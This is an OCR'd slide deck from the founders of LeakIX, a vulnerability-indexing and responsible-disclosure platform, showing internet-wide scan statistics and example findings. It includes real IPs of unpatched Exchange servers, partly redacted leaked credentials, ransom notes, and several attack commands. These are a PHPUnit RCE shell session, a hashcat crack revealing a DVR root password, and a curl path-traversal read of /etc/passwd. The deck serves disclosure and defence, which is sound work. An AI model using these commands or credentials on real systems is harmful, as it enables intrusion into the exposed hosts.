

The first "good" Internet leak Exchange in Europe

Who?

- Gregory Boddin
 - Co-Founder
 - Developer / Devops / Sysadmin background / Security enthusiast / Addicted Gopher
 - Formerly: System Engineer/Devops at Google / European Commission
 - Currently: Security researcher for LeakIX
- Danny Willems
 - Co-Founder
 - Formerly: software engineer @ B2C2 (Crypto-currencies market maker/OTC platform)
 - Currently: PhD student in cryptography (GRACE project-team LIX Nomadic Labs)
- Voluntary researchers
 - Assessed individually before trusting with most sensitive data



There have been new bug bounty sites and programs popping up all over the internet.

While it changed the information security landscape, it's also a fact that most security issues aren't coming from companies investing money into it.

LeakIX started as a personal survey of the Internet but evolved into much more as results kept coming in.

There are more than 29M+ security issues indexed on the site and waiting to be fixed/exploited. Most of them are **out of scope but critical**.



LeakIX combines a security vulnerability indexing and reporting platform.

It is oriented toward responsible disclosure and uses a trust model allowing a network of researchers to identify issues automatically indexed by the engine.

Our approach to global offensive security gives us a view of what threat actors are indexing daily on the Internet and what could be classified as their "next target".

Goals

- 1. Get there before threat actors
 - By monitoring current critical CVEs and trending software misconfigurations.
- 2. Provide responsible alerts
 - Our system allows a high volume of reports to be generated by researchers with a minimum of knowledge.
- 3. Provide automated alerts
 - Most critical issues are automatically routed to hosting providers and national CERTs.
- 4. Keep track of incidents
 - We keep an history of reports and events for future reference and research.
- 5. Reward responsible researchers for out-of-scope issues
 - Those issues, while critical, are usually out-of-scope. It is harder to keep our researchers engaged without a reward system.





By searching for results, your agree with our Terms of service

📕 Belgium 🗒 Proximus NV 🚞 2022-02-20 15:06

2ad2ad0000000022c2ad2ad2ad2ad1f4989c319e75da83988253a39553038

🏽 🏟 4e7a7c1e3d9f9c5b51448037d97549f3e499124b8492bed1a2efb109924a4e46

C https://91.183.93.234/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application

91.183.93.234

high

ASN: 5432

1 events in 0 days

Open ports: 443

Certificate domains:

lvs-c.com

Found by ExchangeVersion

Found Exchange server: Build: 15.1.2308.8 Version: 2016CU21 Build date: 6/2021 Affected by CVE-2021-42321 Affected by CVE-2021-26427 Affected by...

📕 Belgium 👖 Cybernet SA 🚞 2022-02-20 12:09

2ad2ad0000000000002ad2ad2ad2ad0f0dcb2ae084f34cae790be1eab88c30

@ 4e7a7c1e3d9f9c5b51448037cfba1f8f9099a849f0a1a0faedc7df5e351bc1ba

fraction in the second se

ASN: 13226

high

1 events in 0 days

213.177.82.42

Open ports: 443

Certificate domains:

autodiscover.terre.be

mail.terre.be

owa.terre.be

Found Exchange server: Build: 15.2.986.5 Version: 2019CU11 Build date: 9/2021 Affected by CVE-2021-42321 Affected by CVE-2021-26427 Affected by ...





This form lets you report incidents and leak responsibly. After creation the report undergoes moderation, editing will not be possible after approval!

Microsoft Exchange Server is outdated

Title should be a short summary of the vulnerability

Terre.be

IP:

Owner should be the company/individual you attribute the leak to

dpo@groupeterre.org,privacy@terre.be

Contacts field must contain emails from the parties you identified (company, CERT, ...)

Already-contacted field should contain emails from already contacted parties

Edit Preview

The following Exchange Server is publicly accessible and looks out-dated : https://213.177.82.42

It is critical to update to a safe version as soon as possible since multiple CVEs allow remote attackers to DoS or achieve RCE (Remote code execution) on the server. Those vulnerabilities are currently used in ransomware campaign and could damage your network.

Styling with markdown is supported, be as descriptive as possible!

Critical Open Port: Detected protocol: Vulnerable URL: Found Exchange server: Build: 15.2.986.5 Version: 2019CU11 Build date: 9/2021 Affected by CVE-2021-42321

Disclosure options

Keep private

Prevent disclosing the report after



? 7122728

Create report

Affected by CVE-2021-41348 Found by ExchangeVersion 5 hours ago

Affected by CVE-2021-26427

213.177.82.42

443

https

Terre.be / Microsoft Exchange Server is outdated

BloodyShell reported 14 seconds ago

The following Exchange Se	rver is publicly accessible	and looks out-dated : https://213	.177.82.42		📢 Information	
It is critical to update to a s code execution) on the serv Reference:	Owner Created Updated Fixed	Terre.be 2022-02-20 17:16 2022-02-20 17:16 false				
 https://msrc.microsoft https://msrc.microsoft https://msrc.microsoft 	.com/update-guide/en-U5 .com/update-guide/en-U5 .com/update-guide/en-U5	/vulnerability/CVE-2021-42321 /vulnerability/CVE-2021-26427 /vulnerability/CVE-2021-41348			Contacts dpo@groupeterre.org privacy@terre.be	~
IP: Port: Detected protocol: Vulnerable URL: Found Exchange server Build: 15.2.986.5 Version: 2019CU11 Build date: 9/2021 Affected by CVE-2021 Affected by CVE-2021 Affected by CVE-2021	ft.exchange.ediscovery.expor	213.177.82.42 443 https ttool.application	* Status Status apple Hosting contacted CERT contacted Image: the state of the stat			
Found by ExchangeVersion 5	5 hours ago	👕 Edit event		Rescan	Feel free to comment share more informati	the report to on.
Report created by	BloodyShell 14 seconds	ago			Proces	sing
Report approved by	BloodyShell 7 seconds	ago			🎤 Mark a	s fixed
New PDF report gene	erated by system 3 seconds	aao			× Close/publ	lish report
					🕑 Edit r	eport
Report dispatched to	dpo@groupeterre.org by s	vstem 3 seconds ago			Downloa	d report
Report dispatched to	privacy@terre.be by syste	n 3 seconds ago				

LeakIX - Some numbers

- 6.5B/day (75.000 scanned ports/sec)
- 487M identified services
- 400M domain names
- 29M leaks
 - Including 1.000.000 **highly** criticals: Exchange Server, Veeam, Palo Alto RCE, Log4J, open Elastic Search db, etc)
- 2.5 page views/month
- 4.7M API user requests/month (last month Aug 2022)
- 24 automatic reports sent to CERT/hosting companies (~1k daily critical vulns)
- ~10000 users (~700 users last month Aug 2022)
- ~45 plugins, scanning 24/7
- +2.5 years history

Collaborations

From day one, we started sending free daily reports on the most critical issues (~1000 per day) to hosting companies and national CERTs.

The following companies confirmed watching the reports :

Hetzner, Amazon, PsychNetwork, LeaseWeb, GoDaddy, OVH.

We also have communicated with and/or enabled special accounts for the following CERTs in Europe:

France, Luxembourg, Switzerland, Netherlands, Spain, Estonia.

In 2021, we sent ~2000 automated reports, our researchers sent ~600 reports (from Oct 2021).

Exploring Internet services

Exposing vulnerabilities and misconfiguration at scale



Classification of vulnerabilities

- Low : Information disclosure
 - Typically involves small bits of information disclosure on the target :
 - OS/Software information, internal network ranges, other target names
- High : Information disclosure
 - Usually source code disclosure
- Critical : Information disclosure
 - We are talking about credentials, user access, open sensitive documents
- High/Critical : ACL misconfiguration
 - Database engines
 - Queue softwares
- Remote code execution
 - Through known software vulnerabilities
- IOT devices

Information disclosure

Low severity

We're in the green zone

The Apache status page case

Found 602501 results for +plugin:ApacheStatusHttpPlugin

	Countries	
<mark>0् </mark>		183247
<mark>ତ୍ତ୍ ତ୍</mark> Switzerland		59503
<mark>0् </mark>		51957
<mark>0् </mark>		35714
<mark>ତ୍ୱ </mark>		23544
<mark>ତ୍ୱ </mark>		21627
<mark>ତ୍ୱ ତ୍</mark> ୱ Netherlands		20855
<mark>ତ୍ୱ ପ୍</mark> Russia		16702
<mark>ତ୍ତ୍ </mark>		16051
<mark>ତ୍ୱ ତ୍</mark> ୱ Thailand		13403

Example of Apache information disclosure

←		С		🔿 🗛 ht	tps:// 20	.84.1	69.171/s	erver-sta	us	
A	pac	he S	er	ver St	tat	us	for	20	.84.169.	171 (via 10.12.3.107)
Ser Ser	ver Ve ver MI ver Bu	rsion: Apa PM: event ilt: Apr 14	che/2 202	2.4.53 (code) 2 13:21:34	it) Ope	enSS	L/1.1.1	n+quic	reverse pro	xy frontend local address
Cur Res Par Par Ser Tot CPU 2.9 1 re	rrent T start Ti ent Se ent Se ver up ver loa al acce U Usag 2 reque equests	ime: Thurs me: Wedn rver Config rver MPM time: 29 d d: 0.16 0.3 sses: 7442 e: u4887.2 ests/sec - { s currently	sday, esda g. Ge Gen 24 0. 2119 25 s6 35.1 7 bein	02-Jun-2022 eneration: 12 eration: 11 2 hours 24 28 - Total Traff 644.08 cu246 kB/second - ng processed	2 14:55 022 02 2 ninut 1c: 200 584.5 0 29.1 k 1, 74 id	8:09 :33: 6.9 C cs36 B/re dle v	UTC 56 UTC BB - Tot 76.1 - 1 quest - vorkers	al Dura .33% C 71.553	tion: 532509758 PU load 5 ms/request	backend server resource information
Slo	t PID	Stopping	Co	nnections	Thre	ads	Asy	nc con	nections	
0	3109	no	0	ves	0	25	0	0	0	
1	3110	no	3	yes	1	24	0	2	1	
3	9082	no	1	yes	0	25	0	1	0	
Sur	m 3	0	4		1	74	0	3	1	

Example of Apache information disclosure

Srv PID	Acc	M	CPU SS	Rec	Dur	Conr	h Child	Slot	Client	Protocol	VHost	Request
-11 3109 0	/12416/80208	-	1431.34 56	6	5651628	0.0	384.292	2375.6	168.63.129.16	http/1.1	10.12.3.107:443	
-11 3109 0	/12323/79494	-	1431.23 37	72	5744869	0.0	379.142	2332.8	216.46.124.20	http/1.1	www.eguifax.co.uk:443	Internal network IP
-11 3109 0	/12359/79927	_	1431.30 47	19	5744556	0.0	385.57	350.4	168.63.129.16	http/1.1	10.12.3.107: <mark>113</mark>	
-11 3109 0	/12239/79644	1000	1431.40 41	15	!			68.6	216.46.124.20	http/1.1	100 C 100	
-11 3109 0	/12410/80136	<u></u>	1431.51 36	8	Visi	tors	s IP	88.9	168.63.129.16	http/1.1	10.12.3.107:80	GET / HTTP/1.1
-11 3109 0	/12362/79543	_	1431.51 37	53				41.0	216.46.124.20	http/1.1	www.equifax.co.uk:443	GET /business/en_gb HTTP/1.1
-11 3109 0	/12381/79951	<u></u>	1431.40 36	7	5228930	0.0	3/5.81 4	351.35	5 168.63.129.16	http/1.1	10.12.3.107:80	GET / HTTP/1.1
-11 3109 0	/12395/80048	12.5	1431.41 31	4	5667143	0.0	381.61 2	2352.41	10.12.3.107	http/1.1	10.12.3.107:443	GET / HTTP/1.1
-11 3109 0	/12432/79924	<u>.</u>	1431.44 57	200	5625188	0.0	392.73 2	2383.63	3 216.46.124.20	http/1.1	www.equifax.co.uk:443	GET /about-equifax/press-releases/en_gb?p_p_id=com_liferay_blog
-11 3109 0	/12228/80127	-	1431.35 56	0	5648158	0.0	378.972	2369.44	85.26.101.95	h2	fo8020d.3aff.fo30.90f4%eth0:4	[0/0] S
-11 3109 0	/12308/79724	<u></u> :	1431.25 61	9	5719734	0.0	374.362	2348.96	5 107.162.4.27	http/1.1	soluciones.equifax.el:443	GET /I Other domains on the server
-11 3109 0	/12370/79986	1000	1431.21 48	140	5670049	0.0	387.63 2	2379.26	5 216.46.124.20	http/1.1	www.equifax.co.uk:143	GET /h
-11 3109 0	/12474/80181		1431.34 28	0	5613854	0.0	390.52 2	2379.22	2 216.46.125.6	http/1.1		
-11 3109 0	/12328/79854	-	1431.45 54	7	5691154	0.0	383.942	2378.42	2 168.63.129.16	http/1.1	10.12.3.107:80	GET / HTTP/1.1
-11 3109 0	/12411/79783	_	1431.24 31	45	5699690	0.0	378.482	2368.07	216.46.125.6	http/1.1		
-11 3109 0	/12195/79713		1431.20 49	70	5525204	0.0	383.492	2334.99	0 107.162.4.39	http/1.1	www.equifax.co.in:443	GET /consumer/forms/dispute_resolution/en_in/ HTTP/1.1
-11 3109 0	/12379/80351		1431.29 48	121	5762329	0.0	384.682	2390.19	216.46.125.6	http/1.1	CONTRACTOR REPORT OF A DURING STRATEGY	Service record of the transferred enderstanding on
-11 3109 0	/12238/79556	-	1431.49 48	10	5779724	0.0	369.862	2322.17	216.46.124.20	http/1.1	www.equifax.co.uk:443	GET /business/en_gb HTTP/1.1
-11 3109 0	/12335/79985	_	1431.48 53	0	5741682	0.0	383.092	2344.06	85.26.101.95	h2	fe80::20d:3aff:fe3e:90f4%eth0:4	GET /server-status HTTP/2.0
-11 3109 0	/12265/79961	_	1431.34 61	0	5489663	0.0	369.75 2	2347.79	216.46.124.20	http/1.1	fe80::20d:3aff:fe3e:90f4%eth0:4	GET /
-11 3109 0	/12392/80208	122.7	1431.51 41	115	5632175	0.0	387.582	2391.68	3 216.46.124.20	http/1.1	www.equifax.co.uk:443	GET /about-equifax/press-releases/en_gb/-/blog/-/blog/clarity-s
-11 3109 0	/12317/80168	22	1431.37 48	363	599						uifax.co.uk:443	GET /business/businessconnect/en_gb HTTP/1.1
-11 3109 0	/12417/79779	-	1431.42 28	7	570 U	ЧLS	visite	ed				
-11 3109 0	/12510/80005	_	1430.98 49	0	574							
-11 3109 0	/12385/80276	12.5	1431.48 53	4	5714022	0.0	397.23 2	2423.86	5 85.26.101.95	h2	fe80::20d:3aff:fe3e:90f4%eth0:4	GET /favicon.ico HTTP/2.0
- 11 3110 0	/26461/160252	2_	2900.06 6	0	10317381	0.0	785.01 4	1569.13	3 216.46.124.20	http/1.1	fe80::20d:3aff:fe3e:90f4%eth0:4	GET /
-11 3110 0	/26330/160089)	2899.72 3	7	10643210	0.00	756.174	1531.09	216.46.125.6	http/1.1		
- 11 3110 0	/26631/160138	3_	2900.00 8	7	10380006	50.0	791.55 4	1562.33	3 10.12.3.107	http/1.1	10.12.3.107:443	GET / HTTP/1.1
-11 3110 0	/26545/159971		2900.07 2	81	10362761	0.0	776.71 4	1505.33	3 216.46.124.20	http/1.1	www.equifax.co.uk:443	GET /white-papers/how-to-reduce-defaults-with-a-decision-system
- 11 3110 0	/26443/159983	3	2899.894	85	10214393	30.0	784.394	1550.16	5107.162.5.40	http/1.1	www.equifax.co.in:443	GET / HTTP/1 1

Information disclosure

High severity ~1,400,000 results

Wait, how many?

The exposed .git directory case

Found 1238421 results for +plugin:GitConfigPlugin				
Countries				
<mark>ତ୍ୱ ତ୍</mark> ୱ United States	534984			
<mark>0् </mark>	89193			
<mark>ତ୍ୱ </mark>	81758			
<mark>0् </mark>	56013			
🍳 🍳 Singapore	38159			
🍳 🍳 United Kingdom	32515			
🍳 🍳 Malaysia	32069			
🍳 🝳 Russia	30811			
<mark>ତ୍ତ୍ ଠ୍</mark> Japan	30601			
🍳 🔍 Netherlands	29684			

Example of an exposed .git directory

Docker registries as well...

Found 10707 results for +plugin:DockerRegistryHttpPlugin	Found 52 image(s) in docker registry: an-toolkit-demo-dev : 1 tags an-toolkit-demo-int : 1 tags apm-prod : 1 tags arnumeral-site-dev : 1 tags artisan-prod : 1 tags audi-link-dev : 1 tags audi-link-prod : 1 tags cards-dev : 1 tags constances-dev : 1 tags	
Countries	igdrazil-dev : 1 tags	
Q Q United States	igdrazil-int : 1 tags igdrazil-prod : 1 tags	
<mark>ତ୍ତ୍</mark> ପ୍ର China ସେ	igdrazil-site-prod : 1 tags iknow-dev : 1 tags	Specific prod/dev/int images
<mark>0् </mark> Q् Ireland	lig lc-toyota-dev : 1 tags oged-dev : 1 tags	
९ Q Germany 7	ogeg-int : 1 tags ogeg-prod : 1 tags	
Q Q Singapore ▲	planisware-dev : 1 tags planisware-int : 1 tags	
Q Q South Africa	planisware-ng-ore : 1 tags planisware-ng-pre : 1 tags	
Q Q Russia	portail-pedagogique-dev : 1 tags portail-pedagogique-int : 1 tags	
€ Q Japan	portail-pedagogique-prod : 1 tags portail-pedagogique-prod : 1 tags	
Q Q France 2	source link-dev : I tags	
Q Q Australia	207	

and monitoring agents (eg : CheckMK)

System informations, running processes, firewall rules ...

Found 26954 results for +plugin:CheckMkPlugin	DirectMap4k: 2187136 kB DirectMap2M: 14589952 kB DirectMap1G: 2097152 kB
Countries	<pre><<<cpu>>> 0.00 0.01 0.00 1/313 1978333 16 127983 <<< << << << << << < <</cpu></pre>
Q Q United States 750	<pre></pre>
€ Cermany 65	1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00</loopback,up,lower_up>
<mark>0् </mark>	inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever
<mark>€</mark>	valid_lft forever preferred_lft forever 2: ens192: <broadcast,multicast,up,lower up=""> mtu 1500 gdisc mg state UP group default glen 100</broadcast,multicast,up,lower>
्् ् India	link/ether 00:50:56:9d:4d:7d brd ff:ff:ff:ff:ff altname enp11s0
<mark>ତ୍ତ୍ ପ୍</mark> Canada ଜେ	inet 85.10.243.247/28 brd 85.10.243.255 scope global ens192 valid_lft forever preferred_lft forever
<mark>0् </mark>	valid_lft forever preferred_lft forever inet6 fe80::250:56ff:fe9d:4d7d/64 scope link
<mark>0्</mark> ् Austria 41	valid_lft forever preferred_lft forever [end_iplink]
<mark>€, </mark>	5
<mark>€</mark>	Private & public interfaces

Information disclosure

Critical severity ~862,000 results

... It gets scarier ...

The case of configuration through environment variables

Found 862560 results for +(plugin:PhpStdinPlugin plugin:DotEnvConfigPlugin)

Countries

<mark>0् </mark>	243279
<mark>0् </mark>	75698
<mark>ञ् ञ्</mark> France	54691
<mark>ञ् </mark>	46798
<mark>ତ୍ତ୍ </mark>	42807
<mark>ତ୍ତ୍ ପ୍</mark> Japan	42144
<mark>0् </mark>	34578
<mark>@ </mark>	33776
<mark>ତ୍ତ୍ ସ୍</mark> India	33201
<mark>ञ् ञ्</mark> Sweden	32458

Credentials leaks through .env files

$\leftarrow \ \rightarrow \ \mathbf{C}$	0 🔒 11	00024440um38/.env				
DB_NAME="pwapp_db " DB_HOST="localhost" DB_PW=" dbuzz DB_USER="pwapp_db " BASE_URL="https://ppmcrew.me/" #DAYSTACK_SECRET_KEVAWAK foot_35174555bfobo600222007od0d2005225c4606cf"						
PAYSTACK_SECRET_KEY="sk_live_27c5c56a7d1111 =================================						

Payment gateway credentials

$\leftarrow \rightarrow$	С	C) (A	https://54		.env
BASE_URL ROOT_PAT	=https://api H=/var/www/de	eploy/downstre	am-ap	oi/app		
C1_ENV=P MEDIA_PA DOWNLOAD UPLOAD_P CACHE_PA	roduction TH=\${ROOT_PA1 _PATH=\${ROOT_ ATH=/var/www, TH=\${root_pa1	TH}/med: PATH}// Rer /media/u th}/cache	not	e datab	ase	credentials
DB_HOST= DB_USER= DB_PASSW DB_NAME=	"duunan "cd" ORD= "duunc		nan ilan	n tillikkig, u	ıs-west	-2.rds.amazonaws.com"
ASSEIS_V ABI_VERS SMTP_HOS SMTP_POR	EKSION=F002 ION +2 T="ssl://smtp T=465	o.gmail.com"				
SMTP_USE	RNAME="dditional SWORD="toophings		mail.	com"		
USE_TWO_	WAY_AUTH=2 EGION="us-west	st-1"				
BUCKET_N BUCKET_A BUCKET_A	AME="jar-dowr PI_KEY="#mme PI_SECRET="WW	nstream-user-u	ipload WM"	led-files-p	orod"	
S3 PEST DEBUG_LE	VERSTON-"2000 VEL=0	1 AB A1 "		1		

Gapps/Google credentials

S3 Bucket credentials

Credentials leaks through PHP info

$\leftarrow \rightarrow \mathbf{C}$	3 5 Series - Series info.php		E 120%	☆	
	_SERVER["GATEWAY_INTERFACE"]	CGI/1.1			
	_SERVER["SERVER_PROTOCOL"]	HTTP/1.1			
	_SERVER["REQUEST_METHOD"]	GET			
	_SERVER["QUERY_STRING"]	no value			
	_SERVER["REQUEST_URI"]	/info.php			
	_SERVER["SCRIPT_NAME"]	/info.php			
	_SERVER["PHP_SELF"]	/info.php			
	_SERVER["REQUEST_TIME_FLOAT"]	1654189098.97			
	_SERVER["REQUEST_TIME"]	1654189098			
	_ENV["EB_ROOT"]	/opt/elasticbeanstalk	Do	moto d	atabaco crodontiale
	_ENV["EB_CONFIG_SOURCE_BUNDLE"]	/opt/elasticbeanstalk/depioy /appsource /source_bundle	Гке	moteua	
	_ENV["RDS_HOSTNAME"]	east-1.rds.amazonaws.com	-		
	_ENV["RDS_DB_NAME"]	ebdb			
	_ENV["TERM"]	linux			
	_ENV["EB_CONFIG_SYSTEM_AWSEBREFERRERID"]	no value			
	_ENV["EB_CONFIG_APP_SUPPORT"]	/var/app/support			
	_ENV["PHP_ALLOW_URL_FOPEN"]	On			
	_ENV["EB_CONFIG_APP_USER"]	webapp			
	_ENV["RDS_PASSWORD"]	follsmither			
	_ENV["PHP_DOCUMENT_ROOT"]	/wordpress/			
	_ENV["RDS_USERNAME"]	root			
	_ENV["PHP_MEMORY_LIMIT"]	256M			
	_ENV["EB_CONFIG_SYSTEM_LOGPUBLICATIONCONTROL"]	false			
	_ENV["PATH"]	/usr/local/sbin:/usr/local/bin:/usr /bin:/usr/sbin:/sbin:/bin			
	_ENV["EB_CONFIG_SYSTEM_AWSEBAGENTID"]	no value			
1	_ENV["RUNLEVEL"]	3			
1	_ENV["PARAM1"]	no value			
1	_ENV["EB_CONFIG_APP_LOGS"]	/var/app/support/logs			

Credentials leaks through PHP info

\$_SERVER['HTTP_HOST']	185.200.1000000	Encryption kovs
\$_SERVER['VB_API_KEY']]chartestan	
\$_SERVER['POSTER_LANDING_PATH']	/home/www/galor oster/application/views/	
\$_SERVER['CDN_LANDING_PATH']	/home/www,ganora,cdn/style/landing/single_game/	
\$_SERVER['PAYMENT_TEST_MODE']	false	
\$_SERVER['FORUM_COOKIE_PREFIX']	bb	
\$_SERVER['FORUM_SECRET']	EUZUCZATTE DIADOWAUS DODY 10	
\$_SERVER['USER_SECRET']	5MKL TTOTHOONTOO, TOY INC. 111	
<pre>\$_SERVER['PLATFORM_PREFIX']</pre>	GF	SMTP credentials
<pre>\$_SERVER['SMTP_PASSWORD']</pre>	=Convensor	
\$_SERVER['SMTP_USER']	noreply@gatoru.com	
\$_SERVER['SITE_TITLE']	5- V	
<pre>\$_SERVER['ENCRYPTION_KEY']</pre>	gainu_game_system	
\$_SERVER['SESS_COOKIE_NAME']	session	Remote database credentials
\$ SERVER['REDIS PASSWORD']	null	
\$_SERVER['REDIS_PORT']	6522	
\$_SERVER['REDIS_HOST']	I=00.100.101	
\$_SERVER['DB_PASSWORD']	Маненкии убужх	
\$_SERVER['DB_USER']	gillind	
\$_SERVER['DB_PORT']	3320	
\$_SERVER['DB_HOST']	185 100 200.100	
\$_SERVER['PROTOCOL']	https	

ACL misconfiguration

Critical severity ~100,000 open databases (with more than 1000 records)

... it gets darker ...

Database engines with no auth or default configuration

Found 98717 results for +dataset.rows:>1000		
	Countries	
<mark>ତ୍ୱ ତ୍ୱ</mark> China		36983
<mark>ତ୍ୱ ତ୍</mark> ୱ United States		26691
<mark>0् </mark>		4528
🔍 🔍 Singapore		3085
<mark>ତ୍ତ୍ ର୍</mark> France		2641
🍳 🍳 South Korea		2314
<mark>ତ୍ତ୍ </mark>		2291
<mark>ତ୍ତ୍ ର୍</mark> India		2044
<mark>ତ୍ତ୍ </mark>		2030
<mark>ତ୍ତ୍ ପ୍</mark> Japan		1619

Volume detected

Average : 12TB/day - Regular maximum : 130TB/day



Open ElasticSearch instances



MYSQL Databases

Databases: 342, row count: 1644179, size: 226.0 MB Found table gp.ret cashflow trn with 498 records Found table gp.ret cashreceipt dt with 273011 records Found table gp.ret cashreceipt hd with 122160 records Found table gp.ret cashreceipt hd cuserpc with 31434 records Found table gp.ret cashreceipt p dt with 0 records Found table gp.ret client with 0 records Found table gp.ret counter with 4 records Found table gp.ret dc taxsum gardenparkhq with 8 records Found table gp.ret envelop with 0 records Found table gp.ret fnb cr delete with 907 records Found table gp.ret fnb mstdefaddon with 0 records Found table gp.ret fnb mstdefaddon2 with 0 records Found table gp.ret fnb mstdefaddon h with 0 records Found table gp.ret fnbaddoncate with 0 records Found table gp.ret fnbgrp tmpgpcoun 2 with 213 records Found table gp.ret fnbpromosetdet with 0 records Found table gp.ret fnbpromosetgrp with 0 records

A few MySQL servers are also vulnerable to RCE

Records of the cashflow on a service with receipt and links to users

MongoDB databases



Collections: 17, document count: 8870161, size: 1.7 GB Found collection READ ME TO RECOVER YOUR DATA.README with 3 documents (2.2 kB) Found collection admin.system.keys with / documents (393 B) Found collection admin.system.version with 2 documents (764 B) Found collection config.transactions with 0 documents (0 B) Found collection config.image collection with 0 documents (0 B) Found collection config.system.sessions with 57 documents (5.6 kB) Found collection config.system.indexBuilds with 0 documents (0 B) Found collection local.system.rollback.id with 1 documents (41 B) Found collection local.oplog.rs with 8869135 documents (1.7 GB) Found collection local.replset.oplogTruncateAfterPoint with 1 documents (71 B) Found collection local.replset.election with 1 documents (60 B) Found collection local.system.replset with 1 documents (810 B) Found collection local.startup log with 9 documents (20.7 kB) Found collection local.replset.minvalid with 1 documents (0 B) Found collection local.replset.initialSyncId with 1 documents (49 B) Found collection virtualmedia.users with 882 documents (117.5 kB) Found collection virtualmedia.channels with 60 documents (2.7 kB)

Databases ransomware



Direct BTC ransom

with this guide https://localbitcoins.com/guides/how-to-buy-bitcoins After paying write to me in the mail with your DB IP: allmydataback@ nailnesia.com and you will receive a link to download your database o "message":"All your data is a backed up. You must pay 0.019 BTC to 1 VHaSfumaPkUKWD3xBmz7kAieZbFCk0Z0 48 hours for recover it. After 48 burs expiration we will leaked and exposed all your data. In case of refusal to pay, we will contact the General Data Protection Regulatic GDPR and notify them that you store user data in an open form and is not safe. Under the rules of the law, you face a heavy fine or ar est and your base dump will be dropped from our server! You can buy b itcoin here, does not take much time to buy https://localbitcoins.com with this guide https://localbitcoins.com/guides/how-to-buy-bitcoins After paying write to me in the mail with your DB IP: ihave paid@sha klasers.com and you will receive a link to download your database du To recover your lost databases and avoid leaking it: visit http://o4 2xfh5kao7mrtesnok5jgdsfagjsgzxlxdlpkpd2x6lpckhzk225yad.onion and ente your unique token 122ce13fdbb82e8a and pay the required amount of E are downloaded and backed up on our servers. If we dont receive your payment in the next 9 Days, we will sell your database to the highes bidder or use them otherwise. To access this site you have use the tor browser https://www.torproject.org/projects/torbrowser.htmlhttp:/ /o42xfh5kao7mrtesnok5igdsfagisgzxlxdlpkpd2x6lpckhzk225yad.onion122ce1 3fdbb82e8a All your data is a backed up. You must pay 0.16 BTC to 1322TfVUsgwNkW upVwEdceyRYbEZeN9qCu 48 hours for recover it. After 48 hours expirati on we will sell all your data on dark markets and the database dump w

ill be dropped from our

No direct BTC address, tor services for recovery

Remote code execution

Critical severity ~200,000 results

Abandon all hope, ye who enters here.

Mostly proprietary software

Found 205245 results for

+(plugin:BigIPVersion plugin:ExchangeVersion plugin:PhpStdinPlugin tag:cve-2022-1040 plugin:SonicWallSMAPlugin)

Countries

<mark>0् </mark>	48375
@ ् Germany	41873
0 Q United Kingdom	12133
<mark>ତ୍ତ୍ ପ୍</mark> Netherlands	8177
<mark>ଷ୍ ପ୍</mark> France	7993
0् Q Russia	6838
<mark>ତ୍ୟ ପ୍</mark> Canada	6834
<mark>ତ୍ତ୍ ପ୍</mark> Switzerland	6167
<mark>0् </mark>	6095
<mark>0् </mark>	6016

PHPUnit RCE (CVE-2017-9841)

\$./phpunit-shell http://glecta.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[+] connected ok.

[i] type the commands you want to run.

\$ id

uid=48(apache) gid=48(apache) groups=48(apache)

\$ pwd
/var/www/html/vendor/phpunit/phpunit/src/Util/PHP

\$ hostname
vmi913314.contaboserver.net

/vendor, default composer directory

Confluence (CVE-2022-26134)



Demo & exploit credits to Valentin Lobstein

Big Firewall security (CVE-2022-1388)



But also Atlassian products (Confluence, BitBucket), Zimbra, Zyxel, ...

IOT devices

Botnets food

A bit of IoT

Found 57167 results for +plugin:HiSiliconDVR

Countries

<mark>0्</mark>	10140
<mark>©, ⊂,</mark> Taiwan	6913
<mark>ଷ୍ ପ୍</mark> Iran	5580
<mark>ତ୍ତ୍ ତ୍</mark> Russia	5570
<mark>0् </mark>	4126
<mark>0् </mark>	3845
<mark>0् </mark>	2236
🍳 🔍 United States	2152
🍳 🔍 United Kingdom	1309
<mark>ତ୍ତ୍ ତ୍</mark> ltaly	915

All DVR have the same root password

telnet interface

For accessing the device through the telnet interface (port 23/tcp), we may need some OS credentials. Looking at /etc/passwd we have the password hash for the root user:

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

Note, that there is no other user than root, everything is running with full privileges. (So if someone breaks into the device somehow, there is no barrier, the attacker gains full power immediately.)

Assuming a six-char alphanum (lowercase) password, hashcat cracks the above weak DES hash quickly:

\$./hashcat64.bin -a3 -m1500 absxcfbgXtb30 -1 ?1?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Source : https://github.com/tothi/pwn-hisilicon-dvr/blob/master/README.adoc (2017)

Path traversal in uc-httpd

root@offsec01:~# curl -kv --path-as-is 'http://19 80/../../etc/passwd' Trying 1998 240 10 80... Connected to 199 33,240,105 (199 33,240,105) port 80 (#0) GET /../../../etc/passwd HTTP/1.1 User-Agent: curl/7.74.0 Accept: */* Mark bundle as not supporting multiuse HTTP/1.1 200 OK Content-type: text/plain Server: uc-httpd/1.0.0 Cache-Control: max-age=2592000 Other hash on some models, same on all boxes Connection: Close coot:\$1\$KpsHZIoR\$f2RQno.<mark>wSWrGkkDM1G4WP1</mark>:0:0:root:/:/bin/sh losina connection 0

Cracking communities on the case since 2015

2 résultats (0,24 secondes)

https://forum.hashkiller.io > page-39 Traduire cette page

25 Hashes or Less Requests (Unix) | Page 39 - Hashkiller

11 sept. 2020 — #777. [*] Reading file: /etc/passwd root:\$1\$KpsHZIoR\$f2RQno.wSWrGkkDM1G4WP1:0:0:root:/:/bin/sh. A · akurw3s. Active... Vous avez consulté cette page 2 fois. Dernière visite : 14/05/22

https://forum.antichat.com > page-105 * Traduire cette page

Расшифровка hash. Part3 (WordPress, PhpBB3, DES ...

27 avr. 2015 — Joined: 6 Mar 2018. Messages: 11. Likes Received: 9. Reputations: 0. root:\$1\$KpsHZIoR\$f2RQno.wSWrGkkDM1G4WP1. #2087 AlexDAF, 4 Dec 2018 ... Vous avez consulté cette page 2 fois. Dernière visite : 14/05/22

Other devices affected with path traversal

